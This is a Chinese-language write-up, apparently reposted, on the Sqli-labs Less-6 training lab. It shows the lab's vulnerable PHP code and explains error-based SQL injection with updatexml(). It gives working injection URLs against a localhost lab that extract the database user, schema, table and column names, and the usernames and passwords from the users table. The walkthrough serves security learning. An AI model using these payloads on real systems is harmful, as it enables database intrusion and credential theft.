Sqli-labs Less-6 使用updatexml()函數進行報錯注入


Less6與Less5的區別在於Less6在id參數傳到服務器時,對id參數進行了處理。這里可以從源代碼中可以看到。

$id=$_GET['id'];
$id = '"'.$id.'"'; //套了雙引號
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3"  color= "#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

那我們在這一關的策略和Less5的是一樣的。Less5的所有方法均適用於Less6,只需要將 ' 替換成 "。

現在我們介紹一下使用updatexml()函數進行報錯注入。

updatexml():更新xml文檔的函數

語法:updatexml(目標xml文檔,xml路徑,更新的內容)

第二個參數 xml路徑 是可操作的地方,xml文檔中路徑是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

正常查詢 第二個參數的格式為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

select username from security.users where id=1 and updatexml('anything','/x/xx','anything');

使用concat()拼接 ‘ / ‘ 效果相同,下面語句是在’anything’中查詢 位置是 /database()的內容,並將其更新為’anything’。

select username from security.users where id=1 and updatexml('anything',concat('/',(select database())),'anything');

但這里也沒有語法錯誤,不會報錯,下面故意寫入語法錯誤:

select username from security.users where id=1 and updatexml('anything',concat('~',(select database())),'anything');

可以看出,以~開頭的內容不是xml格式的語法,報錯,但是會顯示無法識別的內容是什么,這樣就達到了目的。

有一點需要注意,update()能查詢字符串的最大長度為32,就是說如果我們想要的結果超過32,就需要用substring()函數截取,一次查看32位

這里查詢前5位示意:

select username from security.users where id=1 and updatexml('anything',concat('~',substring((select database()),1,5)),'anything');

好了,現在我們明白了原理,試一下吧。

 

首先獲取user()的值

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

其中0x7e是ASCII編碼,解碼結果為~。

 

然后嘗試獲取當前數據庫的庫名 

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 

接着可以利用select語句繼續獲取數據庫中的庫名、表名和字段名。查詢語句與union注入的相同。因為報錯注入只顯示一條結果,所以需要使用limit語句限制查詢結果,或者使用group_concat函數將查詢結果打印在一行顯示。

獲取其他數據庫的庫名

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+

 

獲取當前數據庫的表名

可以使用limit一個一個查詢

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+

 

也可以使用group_concat(table_name)一次性查詢出所有的表名

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

 

獲取users表的字段名

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

 

獲取users表的內容

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+

 

使用extractvalue()函數構造類似的payload也可以產生同樣的xpath報錯,大家可以自行嘗試。

 

參考:https://blog.csdn.net/zpy1998zpy/article/details/80631036

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM